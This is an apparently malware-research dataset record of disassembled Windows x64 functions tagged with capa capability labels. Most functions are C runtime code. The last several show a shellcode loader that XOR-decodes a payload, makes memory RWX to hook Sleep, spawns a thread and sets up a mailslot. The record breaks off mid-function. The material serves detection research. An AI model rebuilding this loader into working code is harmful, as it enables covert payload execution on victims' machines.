joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140071a68
Capabilities:
Query environment variable

Disassembly:
jmp 0x140124e80
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140124cb0
lea rcx, [rsp + 0x40]
call fcn.140124e30
movzx eax, al
test eax, eax
jne 0x140124ec8
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140124ce0
mov rax, qword [rsp + 0x70]
jmp 0x140125099
lea rcx, [rsp + 0x40]
call fcn.140124e00
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140124da0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140124e00
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14007249f
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140124f6e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140124ce0
mov rax, qword [rsp + 0x80]
jmp 0x140125099
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140071824
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400716fd
lea rcx, [rsp + 0x48]
call fcn.1400713ce
movzx eax, al
test eax, eax
jne 0x140124fd5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14007078f
lea rcx, [rsp + 0x40]
call fcn.140124ce0
mov rax, qword [rsp + 0x88]
jmp 0x140125099
lea rcx, [rsp + 0x48]
call fcn.140071d29
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140124e00
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14007249f
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14012506b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14007078f
lea rcx, [rsp + 0x40]
call fcn.140124ce0
mov rax, qword [rsp + 0xa0]
jmp 0x140125099
lea rcx, [rsp + 0x48]
call fcn.1400716d5
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14007078f
lea rcx, [rsp + 0x40]
call fcn.140124ce0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140071a77
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140092bb0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140092580
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140092bf1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401a4020]
jmp 0x140092bf7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140071af4
Capabilities:
Get geographical location

Disassembly:
jmp 0x14010d460
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14010c300
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14010d4bc
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call fcn.140073584
jmp 0x14010d4de
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140071379
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140071b08
Capabilities:
Terminate process

Disassembly:
jmp 0x140079690
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140071c16
Capabilities:
Hash data using djb2

Disassembly:
jmp 0x140076c20
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1401a30a3]
call fcn.1400730c5
nop
mov dword [rbp + 4], 0x1505
mov rax, qword [rbp + 0x120]
movzx eax, byte [rax]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0xf4], eax
mov rax, qword [rbp + 0x120]
inc rax
mov qword [rbp + 0x120], rax
cmp dword [rbp + 0xf4], 0
je 0x140076c88
mov eax, dword [rbp + 4]
shl eax, 5
add eax, dword [rbp + 4]
add eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x140076c47
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140071cd9
Capabilities:
Print debug messages

Disassembly:
jmp 0x14013f690
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14013f6b9
jmp 0x14013f73e
mov rcx, qword [rbp + 0x30]
call fcn.1400715ef
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14013f6d2
jmp 0x14013f73e
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14013f6ef
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400708d9
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 0
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140070ca3
test eax, eax
jne 0x14013f73e
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400717b6
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140072161
Capabilities:
Parse pe header

Disassembly:
jmp 0x14007a9e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14007aa00
xor al, al
jmp 0x14007aa81
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14007aa13
xor al, al
jmp 0x14007aa81
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007aa3d
xor al, al
jmp 0x14007aa81
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14007aa51
xor al, al
jmp 0x14007aa81
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14007aa63
xor al, al
jmp 0x14007aa81
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007aa7f
xor al, al
jmp 0x14007aa81
mov al, 1
add rsp, 0x38
ret
Function at 0x140072611
Capabilities:
Hash data using djb2

Disassembly:
jmp 0x140076cc0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1401a30a3]
call fcn.1400730c5
nop
mov dword [rbp + 4], 0x1505
mov rax, qword [rbp + 0x120]
movzx eax, word [rax]
test eax, eax
je 0x140076d25
mov rax, qword [rbp + 0x120]
movzx eax, word [rax]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x120]
add rax, 2
mov qword [rbp + 0x120], rax
mov eax, dword [rbp + 4]
shl eax, 5
add eax, dword [rbp + 4]
add eax, dword [rbp + 0x24]
mov dword [rbp + 4], eax
jmp 0x140076ce7
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14007262f
Capabilities:
Terminate process

Disassembly:
jmp 0x140109220
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14010924e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140072d41
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140072da0
Capabilities:
Print debug messages

Disassembly:
jmp 0x14011ca50
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140072e45
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140092cf0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140092640
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140092d39
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401a4020]
jmp 0x140092d48
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140072edb
Capabilities:
Set environment variable

Disassembly:
jmp 0x140142460
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.140071261
lea rcx, [rsp + 0x48]
call fcn.140071261
call fcn.140071a1d
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140071081
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1401424cf
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.140071527
lea rcx, [rsp + 0x78]
call fcn.140071527
mov eax, dword [rsp + 0x24]
jmp 0x140142560
call fcn.140071a1d
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140071081
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140142516
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.140071527
lea rcx, [rsp + 0x78]
call fcn.140071527
mov eax, dword [rsp + 0x2c]
jmp 0x140142560
lea rcx, [rsp + 0x48]
call fcn.1400711e4
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400711e4
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.140071527
lea rcx, [rsp + 0x78]
call fcn.140071527
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400f5550
Capabilities:
Terminate process

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x28
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x1400f5578
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [rsp + 0x30]
call fcn.1400f56f0
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140134890
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400708d9
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140193910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140134a8a
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1401349d6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1401349d6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1401349bb
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140134958
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140134a4a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140134aa9
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x140134a85
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140134aa9
jmp 0x14013492e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400717b6
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140134b50
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400708d9
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140193910]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140134d65
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140134ca9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140134ca9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140134c89
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x140134c18
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140134d25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140134d84
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x44], eax
jae 0x140134d60
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140134d84
jmp 0x140134bee
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400717b6
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14013a870
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x50
mov edx, 8
lea rcx, [rsp + 0x60]
call fcn.140070eb5
movzx eax, al
test eax, eax
je 0x14013a897
mov al, 1
jmp 0x14013a98c
lea rcx, [rsp + 0x60]
call fcn.1400732dc
movzx eax, al
test eax, eax
je 0x14013a8d6
lea rcx, [rsp + 0x60]
call fcn.1400728b9
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.1400728b9
mov rax, qword [rax + 8]
mov rcx, qword [rsp + 0x40]
cmp qword [rcx], rax
jne 0x14013a8d6
xor al, al
jmp 0x14013a98c
lea rcx, [rsp + 0x60]
call fcn.1400729f9
mov ecx, eax
call fcn.14007328c
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x14013a8fb
xor al, al
jmp 0x14013a98c
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rsp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov r9d, 1
lea r8, [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x14013a940
xor al, al
jmp 0x14013a98c
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14013a969
xor al, al
jmp 0x14013a98c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jne 0x14013a97f
mov dword [rsp + 0x20], 1
jmp 0x14013a987
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x50
pop rdi
ret
Function at 0x1400014d8
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
mov esi, r8d
cmp r8d, 2
jne 0x140001544
mov dword [0x140058060], 0x10
mov eax, 0xe2ff41
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x20], 0xba49
shl rax, 0x28
mov qword [rsp + 0x25], rax
movups xmmword [0x140058064], xmm0
movups xmm1, xmmword [rcx]
mov qword [rsp + 0x22], rdx
mov rax, qword [rsp + 0x20]
movups xmmword [0x140058074], xmm1
mov qword [0x140058074], rax
mov rax, qword [rsp + 0x25]
mov qword [0x140058079], rax
mov ebp, dword [0x140058060]
xor eax, eax
lea r13, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], eax
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9, r13
mov r8d, 0x40
mov r14, rbp
mov rdx, rbp
call r12
test eax, eax
je 0x1400015ef
test esi, esi
lea rsi, [0x140058064]
mov rdi, rbx
mov rcx, rbp
lea rax, [rsi + 0x10]
cmovne rsi, rax
cmp qword [0x140058088], 0
rep movsb byte [rdi], byte [rsi]
jne 0x1400015bc
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140058088], rax
mov rsi, qword [0x140058088]
test rsi, rsi
je 0x1400015d9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, r14d
mov rdx, rbx
mov rcx, rax
call rsi
mov r8d, dword [rsp + 0x20]
mov r9, r13
mov rdx, rbp
mov rcx, rbx
call r12
mov eax, 1
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x1400016a3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 2
lea rdx, [0x1400015fe]
jmp fcn.1400014d8

Function at 0x1400016bc
Capabilities:
Create thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbp, rcx
mov esi, edx
mov ecx, 0x40000
xor edx, edx
mov r12, r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov r8d, 0xa
xor edx, edx
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test esi, esi
jle 0x14000170d
movsxd r9, esi
mov r8, rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x140001729
mov rdx, rax
and edx, 7
mov dl, byte [r12 + rdx]
xor dl, byte [rbp + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x14000170f
call fcn.1400016a3
mov rcx, rbx
mov r9, rbx
lea r8, [0x140001487]
call fcn.1400014a6
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x1400017a0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
xor r9d, r9d
mov r8d, 1
mov rdi, rcx
xor ecx, ecx
mov dword [rsp + 0x28], pe_nt_image_headers64
mov ebx, edx
mov qword [rsp + 0x30], rcx
mov edx, 0x40000000
lea rcx, [0x1400580c0]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001841
xor edx, edx
mov ebp, 0x19000
lea r12, [rsp + 0x4c]
mov dword [rsp + 0x4c], edx
test ebx, ebx
jle 0x140001820
cmp ebp, ebx
mov r9, r12
mov rdx, rdi
mov rcx, rsi
cmovg ebp, ebx
xor eax, eax
mov qword [rsp + 0x20], rax
mov r8d, ebp
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000182b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001841
mov edx, dword [rsp + 0x4c]
mov ecx, 0x3e8
add rdi, rdx
sub ebx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400017fa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14000186a
Capabilities:
Read file on windows
Read from mailslot

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r12, qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rdi, rcx
xor ecx, ecx
mov esi, edx
mov rbx, r8
mov dword [rsp + 0x34], ecx
lea rbp, [rsp + 0x38]
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], ecx
xor edx, edx
mov rcx, qword [0x1400580a0]
mov r9, rbp
lea r8, [rsp + 0x34]
mov qword [rsp + 0x20], rdx
xor edx, edx
call r12
test eax, eax
je 0x1400018e7
mov r8d, dword [rsp + 0x34]
movsxd rdx, dword [rbx]
cmp r8d, 0xffffffff
je 0x1400018e7
xor eax, eax
mov rcx, qword [0x1400580a0]
add rdx, rdi
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x3c]
add dword [rbx], eax
jmp 0x140001896
xor eax, eax
cmp dword [rbx], esi
sete al
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140001961
Capabilities:
Create mailslot
Create thread

Disassembly:
push rbx
add rsp, 0xffffffffffffff80
lea rbx, [0x1400580c0]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x70], 0x5c
mov dword [rsp + 0x68], 0x74
mov dword [rsp + 0x60], 0x6f
mov dword [rsp + 0x58], 0x6c
mov dword [rsp + 0x50], 0x73
mov dword [rsp + 0x48], 0x6c
mov dword [rsp + 0x40], 0x69
mov r8d, 0x5c
mov rcx, rbx
mov dword [rsp + 0x38], 0x61
mov dword [rsp + 0x30], 0x6d
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x78], edx
lea rdx, str._c_c_c_c_c_c_c_c_c_c_c_c_cslot__d
call fcn.140001770
xor r9d, r9d
or r8d, 0xffffffff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov qword [0x1400580a0], rax
inc rax
je 0x140001a4c
xor eax, eax
xor edx, edx
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x20], edx
